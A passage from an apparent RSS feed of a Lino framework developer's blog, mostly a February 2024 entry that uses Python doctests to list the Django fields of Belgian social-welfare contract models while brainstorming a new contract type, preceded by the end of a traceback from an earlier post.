  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 688, in _load_unlocked
  File &amp;quot;&amp;lt;frozen importlib._bootstrap_external&amp;gt;&amp;quot;, line 883, in exec_module
  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 241, in _call_with_frames_removed
  File &amp;quot;.../projects/chatter/settings/demo.py&amp;quot;, line 5, in &amp;lt;module&amp;gt;
    class Site(Site):
  File &amp;quot;.../projects/chatter/settings/demo.py&amp;quot;, line 7, in Site
    the_demo_date = i2d(201410231)
  File &amp;quot;.../rstgen/rstgen/utils.py&amp;quot;, line 84, in i2d
    raise Exception(&amp;quot;Invalid date specification {0}.&amp;quot;.format(i))
Exception: Invalid date specification 201410231.
$ cat tmp.txt
$
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0406.html</guid><pubDate>Sat, 06 Apr 2024 00:00:00 +0000</pubDate></item><item><title>Thursday, February 8, 2024</title><link>https://luc.lino-framework.org/blog/2024/0208.html</link><description>&lt;section id="thursday-february-8-2024"&gt;
&lt;h1&gt;Thursday, February 8, 2024&lt;a class="headerlink" href="#thursday-february-8-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;It seems that we want a new database model for contracts in Lino Welfare. This
new contract model is called “Activation SINE”. Question for a brainstorming:
which database fields should this new model have?&lt;/p&gt;
&lt;nav class="contents local" id="contents"&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#classes-de-contrats" id="id1"&gt;Classes de contrats&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#mise-a-l-emploi-art607" id="id2"&gt;Mise à l’emploi art60§7&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#mise-a-l-emploi-art-61" id="id3"&gt;Mise à l’emploi art.61&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#piis" id="id4"&gt;PIIS&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#stage-d-immersion" id="id5"&gt;Stage d’immersion&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference internal" href="#difference-entre-service-utilisateur-et-employeur" id="id6"&gt;Différence entre “Service utilisateur” et “Employeur”&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/nav&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_welfare.projects.mathieu.settings.demo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;hasattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;verbose_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;) &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;)&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;base_fields&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;isip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContractBase&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fields&lt;/span&gt;&lt;span class="p"&gt;()])&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.core.fields&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;VirtualField&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;base_fields&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;VirtualField&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;section id="classes-de-contrats"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id1" role="doc-backlink"&gt;Classes de contrats&lt;/a&gt;&lt;a class="headerlink" href="#classes-de-contrats" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Here is a list of the contracts classes we currently differentiate in Lino&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;langs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;en&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;fr&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models_by_base&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContractBase&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="n"&gt;cells&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;full_model_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;lng&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;langs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;      &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;translation&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;override&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lng&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;        &lt;span class="n"&gt;cells&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cells&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rstgen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;model&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;langs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;==================== ======================== =========================&lt;/span&gt;
&lt;span class="go"&gt; model                en                       fr&lt;/span&gt;
&lt;span class="go"&gt;-------------------- ------------------------ -------------------------&lt;/span&gt;
&lt;span class="go"&gt; art60.Contract       Art60§7 job supplyment   Mise à l&amp;#39;emploi art60§7&lt;/span&gt;
&lt;span class="go"&gt; art61.Contract       Art61 job supplyment     Mise à l&amp;#39;emploi art.61&lt;/span&gt;
&lt;span class="go"&gt; immersion.Contract   Immersion training       Stage d&amp;#39;immersion&lt;/span&gt;
&lt;span class="go"&gt; isip.Contract        ISIP                     PIIS&lt;/span&gt;
&lt;span class="go"&gt;==================== ======================== =========================&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;List of fields that are common to all contracts:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;isip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContractBase&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fields&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;signer1 (Secrétaire) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;signer2 (Président) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;user (Titulaire (SI)) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;printed_by (Imprimé) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;client (client) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;language (Langue) LanguageField&lt;/span&gt;
&lt;span class="go"&gt;applies_from (Début de contrat) DateField&lt;/span&gt;
&lt;span class="go"&gt;applies_until (Fin prévue) DateField&lt;/span&gt;
&lt;span class="go"&gt;date_decided (Décidé le) DateField&lt;/span&gt;
&lt;span class="go"&gt;date_issued (Date de signature) DateField&lt;/span&gt;
&lt;span class="go"&gt;user_asd (Titulaire (SSG)) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;exam_policy (exam policy) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;ending (ending) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;date_ended (Date de fin) DateField&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Remarks:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;art60.Contract is the only model with multiple conventions per contract.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="mise-a-l-emploi-art607"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id2" role="doc-backlink"&gt;Mise à l’emploi art60§7&lt;/a&gt;&lt;a class="headerlink" href="#mise-a-l-emploi-art607" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;art60&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;Mise à l&amp;#39;emploi art60§7&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;art60&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fields&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;convention (&amp;lt;ManyToOneRel: art60.convention&amp;gt;)&lt;/span&gt;
&lt;span class="go"&gt;id (ID) BigAutoField&lt;/span&gt;
&lt;span class="go"&gt;duration (Jours ONSS) IntegerField&lt;/span&gt;
&lt;span class="go"&gt;remark (Remarque) TextField&lt;/span&gt;
&lt;span class="go"&gt;type (Type) ForeignKey&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;art60&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Convention&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fields&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;VirtualField&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;id (ID) BigAutoField&lt;/span&gt;
&lt;span class="go"&gt;contact_person (Représenté par) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;contact_role (En tant que) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;reference_person (persone de référence) CharField&lt;/span&gt;
&lt;span class="go"&gt;responsibilities (responsabilités) RichTextField&lt;/span&gt;
&lt;span class="go"&gt;company (Service utilisateur) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;contract (Mise à l&amp;#39;emploi art60§7) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;job (Poste de travail) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;start_date (Date début) DateField&lt;/span&gt;
&lt;span class="go"&gt;regime (Régime de travail) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;schedule (Horaire) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;monthly_refund (Rétrocession mensuelle) PriceField&lt;/span&gt;
&lt;span class="go"&gt;hourly_rate (coût horaire) PriceField&lt;/span&gt;
&lt;span class="go"&gt;refund_rate (tarif de remboursement) CharField&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="mise-a-l-emploi-art-61"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id3" role="doc-backlink"&gt;Mise à l’emploi art.61&lt;/a&gt;&lt;a class="headerlink" href="#mise-a-l-emploi-art-61" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;art61&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;Mise à l&amp;#39;emploi art.61&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;art61&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fields&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;id (ID) BigAutoField&lt;/span&gt;
&lt;span class="go"&gt;contact_person (Représenté par) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;contact_role (En tant que) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;sector (Secteur d&amp;#39;activité) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;function (Fonction professionnelle) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;reference_person (persone de référence) CharField&lt;/span&gt;
&lt;span class="go"&gt;responsibilities (responsabilités) RichTextField&lt;/span&gt;
&lt;span class="go"&gt;duration (Jours ONSS) IntegerField&lt;/span&gt;
&lt;span class="go"&gt;remark (Remarque) TextField&lt;/span&gt;
&lt;span class="go"&gt;company (Employeur) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;type (Type) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;job_title (Fonction professionnelle) CharField&lt;/span&gt;
&lt;span class="go"&gt;status (Statut) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;cv_duration (Type de contrat) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;regime (Régime de travail) ForeignKey&lt;/span&gt;
&lt;span class="go"&gt;sub_10_amount (Aide à l&amp;#39;emploi) PriceField&lt;/span&gt;
&lt;span class="go"&gt;sub_10_start (Depuis) DateField&lt;/span&gt;
&lt;span class="go"&gt;sub_10_end (Jusqu&amp;#39;à) DateField&lt;/span&gt;
&lt;span class="go"&gt;sub_20_amount (Tutorat) PriceField&lt;/span&gt;
&lt;span class="go"&gt;sub_20_start (Depuis) DateField&lt;/span&gt;
&lt;span class="go"&gt;sub_20_end (Jusqu&amp;#39;à) DateField&lt;/span&gt;
&lt;span class="go"&gt;sub_30_amount (Région Wallonne) PriceField&lt;/span&gt;
&lt;span class="go"&gt;sub_30_start (Depuis) DateField&lt;/span&gt;
&lt;span class="go"&gt;sub_30_end (Jusqu&amp;#39;à) DateField&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="piis"&gt;
&lt;h2&gt;&lt;a class="toc-backref" href="#id4" role="doc-backlink"&gt;PIIS&lt;/a&gt;&lt;a class="headerlink" href="#piis" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;PIIS&lt;/span&gt;
